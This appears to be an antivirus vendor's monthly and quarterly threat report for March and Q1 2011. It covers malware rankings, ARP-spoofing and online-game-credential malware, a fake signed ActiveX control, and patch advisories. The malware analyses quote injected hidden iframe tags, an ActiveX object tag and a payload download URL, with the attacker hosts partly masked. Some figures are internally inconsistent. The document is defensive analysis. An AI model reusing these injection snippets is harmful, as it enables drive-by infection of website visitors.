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Malicious Code ReportsTop 20
The table below shows the percentage breakdown of the top 20 malicious codes reported in March 

2011. As of March 2011, TextImage/Autorun is the most reported malicious code, followed by JS/

Agent and Win-Trojan/Winsoft22.Gen, respectively. 8 new malicious codes were reported this month. 

Top 20 Malicious Code Variant Reports
The table below shows the percentage breakdown of the top 20 malicious code variants reported 

this month. As of March 2011, Win-Trojan/Onlinegamehack is the most reported malicious code, 

representing 18.1% (1,962,214 reports) of the top 20 reported malicious code variants, followed by 

Win-Trojan/Downloader (1,329,344 reports) and Win-Trojan/Agent (1,162,549 reports). 

1.  Security Trends- March 2011

01.	Malicious Code Trend
  a.	Malicious Code Statistics

Ranking	 ↑↓	 Malicious Code	 Reports	 Percentage

1	 —	 TextImage/Autorun	 1,103,008	 27.0 %

2	 ▲14	 JS/Agent	 438,800	 10.7 %

3	 NEW	 Win-Trojan/Winsoft22.Gen	 330,274	 8.1 %

4	 NEW	 JS/Redirect	 270,830	 6.6 %

5	 —	 Win32/Induc	 239,393	 5.9 %

6	 —	 Win-Trojan/Overtls11.Gen	 173,431	 4.2 %

7	 ▲5	 Win32/Palevo1.worm.Gen	 153,717	 3.8 %

8	 �4	 Win-Trojan/Patched.CR	 136,742	 3.3 %

9	 ▲1	 Win32/Parite	 130,326	 3.2 %

10	 NEW	 JS/Downloader	 117,856	 2.9 %

11	 �9	 Win-Trojan/Overtls15.Gen	 116,860	 2.9 %

12	 ▲3	 Win32/Conficker.worm.Gen	 113,579	 2.8 %

13	 ▲1	 Win32/Olala.worm.57344	 108,192	 2.7 %

14	 NEW	 Win-Trojan/Adload.51200.FH	 107,510	 2.6 %

15	 �8	 JS/Cve-2010-0806	 94,232	 2.3 %

16	 NEW	 Win-Downloader/Enlog.417280	 93,367	 2.3 %

17	 NEW	 JS/Exploit	 92,895	 2.3 %

18	 NEW	 VBS/Solow.Gen	 87,806	 2.2 %

19	 NEW	 Win32/Virut.F	 87,228	 2.1 %

20	 �1	 VBS/Autorun	 87,025	 2.1 %

			   4,083,071	 100 %

Ranking	 ↑↓	 Malicious Code	 Reports	 Percentage

1	 —	 Win-Trojan/Onlinegamehack	 1,962,214	 18.1 %

2	 ▲3	 Win-Trojan/Downloader	 1,329,344	 12.3 %

3	 ▲1	 Win-Trojan/Agent	 1,162,549	 10.7 %

4	 �2	 TextImage/Autorun	 1,103,186	 10.2 %

5	 ▲1	 Win-Trojan/Adload	 554,360	 5.1 %

6	 NEW	 Win-Adware/KorAdware	 541,211	 5.0 %

7	 �4	 Win-Trojan/Winsoft	 456,935	 4.2 %

8	 NEW	 JS/Agent	 438,800	 4.1 %

9	 —	 Win32/Autorun.worm	 410,916	 3.8 %

10	 —	 Win32/Conficker	 389,747	 3.6 %

11	 NEW	 Win-Trojan/Winsoft22	 330,274	 3.1 %

12	 —	 Win32/Virut	 297,541	 2.8 %

13	 NEW	 JS/Redirect	 270,830	 2.5 %

14	 —	 Win32/Kido	 247,092	 2.3 %

15	 NEW	 Win-Trojan/Killav	 245,670	 2.3 %

16	 �3	 Win32/Induc	 239,682	 2.2 %

17	 �9	 Win-Trojan/Patched	 227,461	 2.1 %

18	 �3	 Dropper/Onlinegamehack	 218,758	 2.0 %

19	 ▲1	 Dropper/Malware	 202,439	 1.9 %

20	 NEW	 Win-Trojan/Ldpinch	 186,566	 1.7 %

			   10,815,575	 100 %

[Table 1-1] Top 20 Malicious Code Reports [Table 1-2] Top 20 Malicious Code Variant Reports 
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Breakdown of Primary Malicious Code Types
The chart below categorizes the top malicious codes reported this month. As of March 2011, Trojan is 

the most reported malicious code, representing 52.8% of the top reported malicious codes, followed 

by worm (11.2%) and script (9.9%). 

Comparison of Malicious Codes with Previous Month
Compared to last month, the number of Trojan, dropper and downloader increased, whereas, the 

number of worm, script, virus, adware and appcare reports dropped. The number of spyware was 

similar to the previous month. 

[Fig. 1-1] Breakdown of Primary Malicious Code Types 
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[Fig. 1-2] Comparison of Malicious Codes with Previous Month 

Adware
Virus

Trojan
Spyware

Worm
Script

Exploit
ETCDropper

Downloader

Cliker
Appcare

4.9% 6.5% 

0.5% 0.6% 0% 0% 1.2% 1.8% 
4.1% 3.6%

9.4% 8.9%

0% 0%

6.5% 9.9%

0.4% 0.4%

56.2% 52.8%

5.1% 4.5%

11.7% 11.2%

Monthly Malicious Code Reports
There has been an increase of 7,578,804 in malicious code reports this month – from 17,304,230 last 

month to 18,013,021. 

Breakdown of New Malicious Code Types
As of March 2011, Trojan is the most reported new malicious code, representing 79% of the top 

reported new malicious codes. It was followed by adware (14%) and dropper (4%). 

Adware 14%

Dropper 4%

Downloader 1%
Worm 1%
ETC 1%

[Fig. 1-4] Breakdown of New Malicious Code Types 

[Fig. 1-3] Monthly Malicious Code Reports  
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Top 20 New Malicious Code Reports
The table below shows the percentage breakdown of the top 20 new malicious codes reported in 

March 2011. As of March 2011, Win-Trojan/Adload.51200.FH is the most reported new malicious 

code, representing 11.1% (107,510 reports) of the top 20 reported new malicious codes, followed by 

Win-Trojan/Agent.352256.EM (77,644 reports). 

Router-rooting malware compromises Linux-based 
network devices

Security researchers have discovered a router-rooting malware 

that targets network devices running either Linux or Unix. The 

malware, which poses as an Executable and Linkable Format 

(ELF) file, carries out a brute-force attack on router user name-

password pairs from compromised PCs. The malware then joins a 

predetermined IRC channel and listens for commands.

These commands allow a remote attacker to perform the 

following actions on the compromised computer:

	 -	 Take over admin privileges
	 -	 Launch UDP flood attack on specific IP address
	 -	 Modify the subnet of the router
	 -	 Download file
	 -	 Forcefully terminate process
	 -	 Execute file

V3 detects this malware as below:

	 -	 Linux/Kaiten.50737

Another ARP spoofing malware

Right after the 3.4 DDoS attacks on March 4, ARP spoofing 

attacks were reported. This malware is different from the 

variants found after August 2010. It looks like a Windows file, 

but when it is executed, it replaces the userinit.exe file. When 

this malware is executed, it launches ARP spoofing to change 

the gateway MAC address of the systems in the same network 

bandwidth to the MAC address of the infected system. And then, 

it inserts malicious scripts in an effort to distribute malware on 

a viewed web page from the attacked systems.Vulnerabilities in 

the web browser can make the scripts run. Systems in the same 

network bandwidth that have not been patched with the latest 

security updates will get infected and this could cause network 

failure. Infected systems broadcast the ARP request packets as 

below to look for systems to attack. 

And then it sends ARP response packets as below to change the 

gateway MAC address to the infected system’s MAC address.

Malware distributing scripts as below will get inserted into 

websites when accessed from attacked systems.

The ar.js script uses iframe to open the web page in web 

browsers as below:

	 -	 IE 6.0 : <iframe src=http://74.**.**.57:82/shop/main/	
	 blank3.html width=0 height=0></iframe>

01.	Malicious Code Trend
  b.	Malicious Code Issues

[Fig. 1-5] IRC commands

[Fig. 1-6] ARP request packets

[Fig. 1-7] ARP response packets

[Table 1-3] Top 20 New Malicious Code Reports 

Ranking	 Malicious Code	 Reports	 Percentage

1	 Win-Trojan/Adload.51200.FH	 107,510	 11.1 %

2	 Win-Trojan/Agent.352256.EM	 77,644	 8.0 %

3	 Win-Adware/KorAdware.81920.E	 67,324	 6.9 %

4	 Win-Trojan/Adload.51200.FJ	 65,137	 6.7 %

5	 Win-Adware/KorAdware.86016.E	 62,284	 6.4 %

6	 Win-Adware/KorAdware.81920.H	 52,400	 5.4 %

7	 Win-Trojan/Adload.51200.FO	 48,503	 5.0 %

8	 Win-Adware/KorAdware.323584	 45,004	 4.6 %

9	 Win-Trojan/Onlinegamehack.65024.M	 44,940	 4.6 %

10	 Win-Trojan/Agent.352256.ES	 42,066	 4.3 %

11	 Win-Adware/KorAdware.86016.D	 38,600	 4.0 %

12	 Win-Trojan/Ldpinch.453632	 38,475	 4.0 %

13	 Win-Trojan/Onlinegamehack.108544.P	 37,889	 3.9 %

14	 Win-Adware/KorAdware.102400	 36,909	 3.8 %

15	 Win-Trojan/Agent.159791	 36,893	 3.8 %

16	 Win-Trojan/Onlinegamehack.102912.AF	 36,515	 3.8 %

17	 Win-Trojan/Agent.352256.EL	 34,038	 3.5 %

18	 Win-Trojan/Killav.77396	 33,629	 3.5 %

19	 Win-Trojan/Adload.51200.HM	 32,634	 3.4 %

20	 Win-Trojan/Ldpinch.438784	 32,194	 3.3 %

		  970,588	 100 %
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	 -	 IE 7.0 : <iframe src=http://74.**.***.57:82/shop/main/	
	 blank2.html width=0 height=0></iframe>
	 -	 IE 8.0 : <iframe src=http://74.**.***.57:82/shop/main/	
	 blank1.html width=0 height=0></iframe>

Vulnerabilities in the web browser (MS10-018 and MS11-003) will 

allow the script to run and download the following file:

	 -	 http://g3.***.in:82/imes/****/scvhost.txt

svchost.txt launches ARP Spoofing attack to install malware and 

steal user account information for online games.

	 -	 C:\WINDOWS\Temp\dllhost.exe
	 -	 C:\WINDOWS\Temp\conime.exe
	 -	 C:\WINDOWS\Tasks\000c00290eb07a0170\svchost.exe
	 -	 C:\WINDOWS\MicrosoftManagementConsole_0.dll
	 -	 C:\WINDOWS\system32\userinit.exe

The malware exploited the following vulnerability:

	 - Microsoft Internet Explorer, iepeers.dll Use-After-Free 	
	 Exploit (MS10-018)
	 http://www.microsoft.com/korea/technet/security/bulletin/	
	 ms10-018.mspx
	 - Cumulative Security Update for Internet Explorer (MS11-	 003)
	 http://www.microsoft.com/korea/technet/security/bulletin/	
	 ms11-003.mspx

There are many variants of this malware, and V3 detects this 

malware as:

	 -	 Win32/MalPackedC.suspicious
	 -	 Win-Trojan/Agent.64512.GG
	 -	 Dropper/Agent.63488.AD
	 -	 Win-Trojan/Agent.11997796
	 -	 Win-Trojan/Agent.95853156

	 -	 Win-Trojan/Agent.11998308
	 -	 Win-Trojan/Agent.95853156.B
	 -	 Win-Trojan/Agent.24064.XE
	 -	 Win-Trojan/Downloader.25600.IM
	 -	 Trojan/Win32.OnlineGameHack
	 -	 Exploit/Cve-2010-3970

Malware installed as ActiveX control

An Internet forum reported a video player disguised as an 

ActiveX control. ActiveX controls that are usually downloaded 

from web pages are mostly unsigned, but this malware is a 

digitally signed ActiveX control. The Internet forum prompts 

members to install a malicious ActiveX control as below: 

It is another fake media player disguised as an ActiveX control – 

the publisher is bogus. The digital signature of both non-malicious 

and malicious files can be found in the file’s properties. When the 

fake ActiveX control is installed, it creates its copy (httpssl.exe) in 

the Windows system folder and registers itself as below:

The httpssl.exe file attempts to connect to the following website in 

China:

	 -	 12*.19*.11*.*61:1009

If V3 is not installed on the compromised system, it patches the 

imm32.dll file by creating ".rsrc1" and ".mdata" in the PE section 

of the file as below. It then creates a file named nt32.dll and 

executes itself.

Antivirus companies must now start taking into account more 

environment variables to respond to new threats such as the one 

above that changes the way it patches a Windows system file 

depending on whether an antivirus is running. 

V3 detects this malware as:

	 -	 Win-Trojan/Patched.CR
	 -	 Dropper/Onlinegamehack.80384.D
	 -	 Win-Trojan/Onlinegamehack.69632.FI

The attacker used the stolen account of the Internet forum 

operator to insert an installation script into the website, and to 

avoid getting detected, the script has been code signed.

	 -  <object classid="clsid:425E3876-005B-4D6B-A70B-		
	 F7FFD035AC07" codebase="http://www.h**il**.com/flash/	
	 banner/.**.cab#Version=1,0,0,1" width="0" height="0">
	 </object>

Always be careful when installing ActiveX controls. Make sure 

you check the details under Countersignatures and the valid 

date before installation. V3 detects this as:

	 -	 Win-Trojan/Downloader.286616

imm32.dll patch different with V3 execution  

Multiple types of malware that steals account information 

from online games by exploiting vulnerable websites has been 

reported for several years.. Taking the form of Trojan horses, it 

used to steal keyboard inputs and send them to certain systems 

on the Internet. But, nowadays, it is distributed as a patch that 

changes the codes of system files in the Windows system to 

execute malware. While analyzing the online game malware, we 

found that the way imm32.dll, a Windows system file, is patched, 

differs according to whether V3 is running. The malware 

that patches imm32.dll checks whether V3 is running on the 

compromised system as below:

It then changes the name of imm32.dll to imm32A.dll and 

overwrites the file with its codes. When overwrite is complete, it 

forwards the export function to execute its codes.

[Fig. 1-8] Script inserted into webpage

[Fig. 1-12] V3 process codes

[Fig. 1-13] Codes for modified Windows system files

[Fig. 1-14] Forwarding of malware’s export functions

[Fig. 1-15] .rsrc1 and .mdata in the PE section

[Fig. 1-9] "Install ActiveX Control" information bar

[Fig. 1-10] ActiveX control installation message

[Fig. 1-11] Service registration
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Microsoft Security Updates- March 2011
Microsoft released 3 security updates in this month.

Extra caution is required as all the vulnerabilities reported this month allows remote code execution. 

Be careful when accessing untrusted websites, and make sure an antivirus program is running and 

regularly update it to the latest version.

02.	Security Trend
  a.	Security Statistics

Malicious Code Intrusion: Website
The table below shows the ranking of malware distributed via compromised websites in March. 

The number is double the number in the previous month. Among the many compromised websites, 

most were online storage sites. 

[Table 2-2] Top 10 Malware Distributed Via Compromised Websites (March)

Top 10 Distributed Malicious Codes
Win-Trojan/Patched.CR is the most reported malware this month, as most malware use the 

technique of patching imm32.dll, a Windows system file, to load malicious DLL. Unless how the 

malware operates changes, Win-Trojan/Patched.CR will continue to be the most reported malware 

next month.

[Fig. 2-2] Monthly malicious code intrusion: website
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[Fig. 2-1] MS Security Updates
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[Table 2-1] MS Security Updates for March 2011

Severity	 Vulnerability

Critical	 MS11-015  : Vulnerabilities in Windows Media Could Allow Remote Code Execution
Important	 MS11-016  : Vulnerability in Microsoft Groove Could Allow Remote Code Execution
Important	 MS11-017  : Vulnerability in Remote Desktop Client Could Allow Remote Code Execution

Ranking	 Malicious Codes	 URL

	 1	 Win-Trojan/Patched.CR	 44

	 2	 Win-Trojan/Onlinegamehack.132715	 28

	 3	 Dropper/killav.77475	 28

	 4	 Dropper/Onlinegamehack.261694	 27

	 5	 Win-Trojan/Onlinegamehack.103936.AA	 27

	 6	 Win-Trojan/Onlinegamehack.108032.M	 27

	 7	 Dropper/Onlinegamehack.260757	 26

	 8	 Win-Trojan/Onlinegamehack.108544.N	 26

	 9	 Win-Trojan/Onlinegamehack.102912.AH	 26

	 10	 Win-Trojan/Magania.133209.B	 25
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Adobe Flash Player Memory Corruption 
(CVE-2011-0609)

 This vulnerability exists in Adobe Flash Player 10 and the 

"authplay.dll" file that ships with Adobe Reader and Acrobat 

X products.  As with previous Flash Player vulnerabilities, this 

one abuses the bytecode verifier inside Adobe Flash Player. 

Adobe Flash files can contain ActionScript bytecode for AVM 

(ActionScript Virtual Machine). To exploit the vulnerability, heap-

spraying is performed through AVM2. 

An Excel file containing an embedded Flash object exploits this 

vulnerability. When the XLS file is opened, it shows an empty 

Excel spreadsheet and starts the exploit code via a Flash object.. 

Adobe released the following security updates to resolve these 

issues: 

	 -	 http://www.adobe.com/support/security/bulletins		
		  /apsb11-05.html
	 -	 http://www.adobe.com/support/security/bulletins/		
		  apsb11-06.html

Fraudulent  Digital Certificates Could Allow Spoofing

There were nine fraudulent digital certificates being issued by a 

certification authority called "Comodo". SSL certificates are issued 

by a trusted, third-party Certificate Authority (CA). It consists of 

a public key and a private key. The public key is used to encrypt 

information and the private key is used to decipher it. Frauduletn 

certificates may be used to spoof content, perform phishing 

attacks, or perform man-in-the-middle attacks against all web 

browser users.

02.	Security Trend
  b.	Security Issues

[Fig. 2-3] Vulnerable Adobe Flash Player Memory Corruption codes

[Fig. 2-4] “Untrusted Certificates” in Internet Explorer

03.	Web Security Trend
  a.	Web Security Statistics

Web Security Summary
This month, SiteGuard (AhnLab’s web browser security service) blocked 99,034 websites that 

distributed malicious codes. There were 759 types of reported malicious code, 789 reported domains 

with malicious code, and 4,259 reported URLs with malicious code. The types of malicious codes 

decreased from last month, but the number of reported malicious codes, and domains and URLs 

with malicious code increased.

Monthly Blocked Malicious URLs
As of March, the number of blocked malicious URLs increased 60% to 99,034, from 61,817 the 

previous month.

[Fig. 3-1] ] Monthly Blocked Malicious URLs 
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[Table 3-1] Website Security Summary 

Category	 Reports

Blocked malicious URLs 		  99,034
Reported types of malicious code	 759
Domains with malicious code		  789
URLs with malicious code		  4,259
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Monthly Reported Types of Malicious Code
As of March 2011, the number of reported types of malicious code decreased 2% from 774 the 
previous month to 759.

Monthly Domains with Malicious Code
As of March 2011, the number of reported domains with malicious code increased 9% to 789, from 
723 the previous month.

[Fig. 3-4] Monthly URLs with Malicious Code 
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Monthly URLs with Malicious Code
As of March 2011, the number of reported URLs with malicious code increased 26% from 3,367 the 
previous month to 4,259. 
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[Fig. 3-2] Monthly Reported Types of Malicious Code
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[Fig. 3-3] Monthly Domains with Malicious Code 
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Distribution of Malicious Codes by Type
As of March 2011, Trojan is the top distributed type of malicious code with 52,493 (53%) cases 
reported, followed by adware with 24,905 (25.1%) cases reported.

[Table 3-2] Top Distributed Types of Malicious Code 

Type	 Reports	 Percentage

TROJAN	 52,493	 53.0 %
ADWARE	 24,905	 25.1 %
DROPPER	 5,620	 5.7 %
JOKE	 1,094	 1.1 %
DOWNLOADER	 875	 0.9 %
WIN32/VIRUT	 783	 0.8 %
APPCARE	 247	 0.2 %
SPYWARE	 73	 0.1 %
ETC	 12,944	 13.1 %
Total	 99,034	 100 %

75,000

[Fig. 3-5] Top Distributed Types of Malicious Code
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Ranking	 ↑↓	 Malicious Code	 Reports	 Percentage

1	 NEW	 Win-Trojan/Agent.286616	 34,689	 45.5 %

2	 NEW	 Win-Trojan/Downloader.286616	 9,041	 11.9 %

3	 NEW	 Win32/Induc	 7,864	 10.3 %

4	 NEW	 Win-Adware/ToolBar.Cashon.308224	 5,023	 6.6 %

5	 -3	 Win-Adware/Shortcut.InlivePlayerActiveX.234	 4,425	 5.8 %

6	 -3	 Win-Adware/Shortcut.Unni82.3739648	 4,415	 5.8 %

7	 NEW	 Adware/Win32.ToolBar	 3,357	 4.4 %

8	 -3	 Win-Adware/Shortcut.Tickethom.36864	 3,312	 4.3 %

9	 NEW	 Dropper/Win32.Pwstealer	 2,829	 3.7 %

10	 NEW	 Win-Adware/Shortcut.Bestcode.0002	 1,318	 1.7 %

[Table 3-3] Top 10 Distributed Malicious Codes

Top 10 Distributed Malicious Codes
As of March 2011, Win-Trojan/Agent.286616 is the most distributed malicious code, with 34,689 
cases reported. 7 new malicious codes emerged in the top 10 list this month
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March 2011 Malicious Code Intrusion: Website

There were three major website security issues this month. 

There are as below:

1. Distribution of malware from multiple online 
storage sites
2. Malware distributed by exploiting vulnerabilities 
3. Changes in malware that patches imm32.dll

1.Distribution of malware from multiple online 
storage sites

The 3.4 DDoS attack was originated from some p2p websites 

which had been compromised to distribute malicious codes. It 

is similar to the 7.7 DDoS attack two years ago. Unless carrying 

out a strict security risk management, these websites have the 

potential to be exploited by attackers. We observed that they 

keep distributing malware that steals personal information, 

especially on the weekend when more people use the computer 

and infected computers are not properly updated. 

2. Malware distributed by exploiting vulnerabilities 

Korean websites were hacked this month to distribute 

malware that steals account information from online games. 

Cybercriminals exploited vulnerabilities in IE and Adobe Flash 

Player and split malicious scripts into several parts to bypass 

detected by antivirus and network appliances. The process is 

described in the process flow below:

3. Changes in malware that patches imm32.dll

The technique of patching imm32.dll to load malicious dll has 

changed slightly as the images below: 

03.	Web Security Trend
  b.Web Security Issues

[Fig. 3-6] No. of Malware Distributed Via Online Storage Sites

[Fig. 3-7] Malware Distributed by Exploiting Vulnerabilities
The main difference is that the new technique checks whether 

V3 is running, and then patches the imm32.dll accordingly.

[Fig. 3-9] New Way of Patching imm32.dll

[Fig. 3-8] Usual Way of Patching imm32.dll
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01.	Malicious Code Trend
  a.	Malicious Code Statistics

2. Security Trends- 1Q 2011

Top 20 Malicious Code Reports
The table below shows the percentage breakdown of the top 20 malicious codes reported in Q1 of 

2011. As of Q1 2011, TextImage/Autorun is the most reported malicious code, followed by Win32/

Induc and JS/Agent, respectively. 7 new malicious codes were reported this month.

Top 20 Malicious Code Variant Reports
The table below shows the percentage breakdown of the top 20 malicious code variants reported this 

year. As of Q1 2011, Win-Trojan/Onlinegamehack is the most reported malicious code, representing 

13.4% (3,861,741 reports) of the top 20 reported malicious codes, followed by TextImage/Autorun, 

representing 12.1% (3,483,488 reports) and Win-Trojan/Downloader, representing 10.8% (3,114,607), 

respectively. The chart below categorizes the top malicious codes reported in Q1 of 2011. 

Ranking	 ↑↓	 Malicious Code	 Reports	 Percentage

1	 —	 TextImage/Autorun	 3,482,961	 29.7 %

2	 ▲2	 Win32/Induc	 892,311	 7.6 %

3	 �1	 JS/Agent	 650,149	 5.5 %

4	 NEW	 Win-Trojan/Overtls15.Gen	 618,379	 5.3 %

5	 NEW	 Win-Trojan/Patched.CR	 581,656	 5.0 %

6	 NEW	 Win-Trojan/Overtls11.Gen	 570,302	 4.9 %

7	 ▲2	 JS/Exploit	 494,847	 4.2 %

8	 �5	 Win32/Parite	 489,322	 4.2 %

9	 NEW	 Win-Trojan/Winsoft.225280	 434,106	 3.7 %

10	 �3	 JS/Cve-2010-0806	 414,966	 3.5 %

11	 ▲5	 Win32/Palevo1.worm.Gen	 412,882	 3.5 %

12	 �4	 Win32/Conficker.worm.Gen	 350,698	 3.0 %

13	 �7	 Win32/Olala.worm.57344	 349,548	 3.0 %

14	 NEW	 Win-Trojan/Winsoft22.Gen	 330,274	 2.8 %

15	 �1	 VBS/Solow.Gen	 290,847	 2.5 %

16	 �4	 JS/Downloader	 279,617	 2.4 %

17	 �2	 VBS/Autorun	 277,692	 2.4 %

18	 NEW	 Win-Trojan/Downloader.59904.AK	 276,668	 2.4 %

19	 NEW	 JS/Redirect	 274,650	 2.3 %

20	 �3	 Win32/Virut.F	 271,712	 2.3 %

			   11,743,587	 100 %

[Table 4-1] Top 20 Malicious Code Reports 

Ranking	 ↑↓	 Malicious Code	 Reports	 Percentage

1	 ▲2	 Win-Trojan/Onlinegamehack	 3,861,741	 13.4 %

2	 �1	 TextImage/Autorun	 3,483,488	 12.1 %

3	 ▲4	 Win-Trojan/Downloader	 3,114,607	 10.8 %

4	 �2	 Win-Trojan/Agent	 2,952,919	 10.2 %

5	 ▲15	 Win-Trojan/Winsoft	 2,248,527	 7.8 %

6	 ▲6	 Win-Trojan/Adload	 2,033,331	 7.0 %

7	 �2	 Win32/Autorun.worm	 1,384,926	 4.8 %

8	 —	 Win32/Conficker	 1,223,294	 4.2 %

9	 NEW	 Win-Trojan/Patched	 949,612	 3.3 %

10	 �1	 Win32/Virut	 922,565	 3.2 %

11	 �1	 Win32/Induc	 892,847	 3.1 %

12	 �1	 Win32/Kido	 781,424	 2.7 %

13	 NEW	 Win-Adware/KorAdware	 718,093	 2.5 %

14	 ▲5	 Win-Trojan/Overtls	 692,990	 2.4 %

15	 �11	 JS/Agent	 650,149	 2.3 %

16	 NEW	 Win-Trojan/Overtls15	 618,379	 2.1 %

17	 �4	 Win32/Palevo	 616,181	 2.1 %

18	 �2	 VBS/Solow	 587,532	 2.0 %

19	 NEW	 Win-Trojan/Overtls11	 570,302	 2.0 %

20	 �5	 Dropper/Malware	 564,652	 2.0 %

			   28,867,559	 100 %

[Table 4-2] Top 20 Malicious Code Variant Reports 
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Monthly Malicious Code Reports  
There has been a increase in malicious code reports this quarter, which increased 10,541,256 to 

53,944,245 from 43,402,989 the previous quarter.

Breakdown of New Malicious Code Types
As of Q1 of 2011, Trojan is the most reported new malicious code, representing 85% of the top 

reported new malicious codes. It is followed by adware (7%) and dropper (4%).

Top 20 New Malicious Code Reports
The table below shows the percentage breakdown of the top 20 new malicious codes reported in Q1 of 2011. 

Adware 7%

Dropper 4%

Downloader 2%
Worm 1%
ETC 1%

[Fig. 4-3] New Malicious Code Type Breakdown 

Trojan
85%

Breakdown of Primary Malicious Code Types
As of Q1 2011, Trojan is the most reported malicious code, representing 53.1% of the top reported 

malicious codes, followed by worm (12.3%), and script (8.4%).

[Fig. 4-1] Primary Malicious Code Type Breakdown  
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[Fig. 4-2] Monthly Malicious Code Reports  
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[Table 4-3] Top 20 New Malicious Code Reports

Ranking	 Malicious Code	 Reports	 Percentage

1	 Win-Trojan/Overtls15.Gen	 618,379	 13.8 %

2	 Win-Trojan/Patched.CR	 581,656	 13 %

3	 Win-Trojan/Overtls11.Gen	 570,302	 12.7 %

4	 Win-Trojan/Winsoft.225280	 434,106	 9.7 %

5	 Win-Trojan/Downloader.59904.AK	 276,668	 6.2 %

6	 Win-Trojan/Winsoft17.Gen	 208,934	 4.7 %

7	 Win-Trojan/Overtls.383488	 207,312	 4.6 %

8	 Win-Trojan/Winsoft.408576.B	 194,741	 4.3 %

9	 Win-Trojan/Infostealer.340992	 194,441	 4.3 %

10	 Win-Trojan/Agent.Rbk.102400	 159,489	 3.6 %

11	 Win-Trojan/Adload.77312.LPU	 142,391	 3.2 %

12	 Win-Downloader/InfoTab.40960	 127,001	 2.8 %

13	 Win-Trojan/Downloader.98304.KF	 123,390	 2.8 %

14	 Win-Downloader/Enlog.417280	 109,017	 2.4 %

15	 Win-Trojan/Adload.51200.FH	 107,510	 2.4 %

16	 Win-Trojan/Downloader.1681920	 92,825	 2.1 %

17	 Win-Trojan/Agent.98304.VB	 90,165	 2 %

18	 Win-Trojan/Downloader.94208.HE	 87,541	 2 %

19	 Win-Trojan/Agent.109736.C	 79,940	 1.8 %

20	 Win-Trojan/Winsoft.384000.AS	 78,579	 1.8 %

		  4,484,387	 100 %
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Malicious applications for mobile devices start 
appearing

Smartphone malware in 2010 was experimental and mostly 

distribute malware. This year, smartphone malware has started to 

exfiltrate data from mobile devices.  Starting from Adrd and Pjapps 

malware that stole personal information from smartphones in 

February, in March, attackers used  third party marketplaces to 

spread malware that exfiltrates call history. In the same month, 

BgService that disguised itself as a security application provided 

by Google disseminated via third party marketplaces. Attackers 

exploited security holes in third party marketplaces to spread 

malware by repackaging well-known apps with the malware. More 

similar threats are expected this year.

SNS becomes new platform for malware

SNS sites were used as a platform for malware distribution last year. 

This year, they are being used to instigate attacks. When the tool that 

pre-scans shortened URLs to see if the site is malicious was made 

available, a malware that directs victims to rogue antivirus sites was 

distributed via shortened URLs in tweets. In February, a malicious 

link (that steals personal information) was posted on Facebook wall 

pages, inviting friends to click it. On the same month, a malware 

spam disseminated through Facebook chat . The number of similar 

security threats will keep on escalating, SNS users are advised to 

take extra precaution when using the service.

Rogue antivirus

Rogue antivirus programs are successful because they closely 

resemble legitimate antivirus programs and are now provided in 

multiple languages.  The main reason, however, is its persistence 

and amount of details - the web pages are very authentic copy 

of legitimate screens in Windows operating systems. These web 

pages make visitors believe that their machine is infected with 

several malicious programs and that the offered "AV program" 

can help them clean it. Once the rogue AV program is installed, the 

victim has to pay money to get it "working" or, in some cases to even 

uninstall it. Attackers have gotten very good at tricking victims into 

clicking on links to malicious content and they’re likely to get even 

better. Rogue AV programs are becoming more clever.

 APT and security incidents

Advanced Persistent Threats (APTs) incidents were reported twice 

this year. On February 2011, the Night Dragon attack that represents 

an APT accessed sensitive information specifically from the energy 

sector. It is a sophisticated attack that uses a customized malware. 

RSA, the security division of EMC suffered a security breach by APT 

on March. Advanced Persistent Threat attacks typically have three 

main phases. The first is the social engineering attack; perpetrators 

behind the APT seek publicly available information about specific 

employees on social media sites and send a phishing email to 

the employees with excel spreadsheet attachment that contains 

a zero-day exploit that installs a backdoor through Adobe Flash 

vulnerability. The exploit injected malicious code into the employee’s 

PC, allowing full access into the machine. The next phase is moving 

laterally inside the network once it’s compromised some of the 

employee PCs; the attackers identify and gain access to more 

strategic users. In the third stage, the goal is to extract what you 

can; the attacker extracts data data from the servers of interest. We 

have to act fast and develop a new defense model as new threats 

call for new strategies.

 Malware that supports multiple languages

The graphical user interface of fake antivirus programs now get 

translated to the language of the OS the rogue AV is running on. 

Ransomware that is distributed for financial gains also supports 

multiple languages. This is a very sophisticated social engineering 

technique that adds the possibility to illegally extort money by 

showing fake information in the language of the victim. This 

technique will continue in the latter half of 2011, and could be used 

in other security threats, such as phishing.

 Malware that bypasses cloud antivirus

Unlike traditional antivirus software, cloud antivirus refers to the 

type of antivirus that runs on the cloud (remote server). Cloud 

antivirus scans all your files and run the tests on its own server 

without using the processing power of the user's machine. It won’t 

disrupt any of your computer activity nor will it slow down your 

computer. A malware was made to bypass and avoid detection by 

cloud antivirus was on January 2011. In order to bypass detection, 

the malware exploited the fact that the cloud antivirus sends 

diagnosis information to the network and blocked transmission 

of information to the servers. A new class of malware will be 

developed to launch DDoS attacks to overuses the cloud system 

resource to bypass detection by cloud antivirus.

 3.4 DDoS attacks: More advanced features than 7.7 
DDoS attacks

DDOS attacks were back in South Korea on March 4, 2011. These 

assaults are similar to those launched on July 2009 against sites 

in South Korea and the United States. Although there is no direct 

evidence connecting them, there are some similarities. About 40 

major South Korean websites were hit by the DDoS attacks. The 

code used in the attack shows that when the malware notes a 

specific timezone, it destroys the infected computer's master boot 

record to destroy all the data on a computer and potentially render it 

unusable. There were no serious damages as the government and 

private institutions responded to the threat prior to actual attacks.

 

01.	Malicious Code Trend
  b.	Malicious Code Issues
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Microsoft Security Updates- Q1 of 2011 
Microsoft released 17 security updates this quarter. Microsoft issued the most security updates (12) 

in February. The number is high because security updates that were not available were released in 

February. With three critical vulnerabilities to patch in February, it was a hectic month for IT security 

managers. In Q1 2011, 41% of the reported vulnerabilities were system vulnerabilities. Security 

updates for system vulnerabilities are more urgent than others, so as soon as they are released, you 

should download the patches to fix the vulnerabilities.
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[Fig. 5-1] New Malicious Code Type Breakdown
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Vulnerability in Windows Graphics Rendering Engine 
CVE-2010-3970

Exploitation of a stack-based buffer overflow in the handling of 

thumbnails by Windows Graphics Rendering Engine (Shimgvw.

dll) could cause remote code execution. Moti and Xu Hao reported 

this vulnerability during POC 2010. The proof-of-concept code that 

exploits this vulnerability is publicly available. The vulnerable code 

will only be triggered if you enable “Thumbnails” view. Disable it if 

possible.

Vulnerability in Internet Explorer Could Allow Remote 
Code Execution CVE-2010-3971

On December 22, 2010, Microsoft released a security advisory, 

"Microsoft Security Advisory (2488013) Vulnerability in Internet 

Explorer Could Allow Remote Code Execution".  This zero-day 

vulnerability is a remote code execution vulnerability caused by 

heap-spray in IE's mshtml.dll. MS IE 6, 7 and 8 are affected. This 

attack was reported in some countries abroad and the number is 

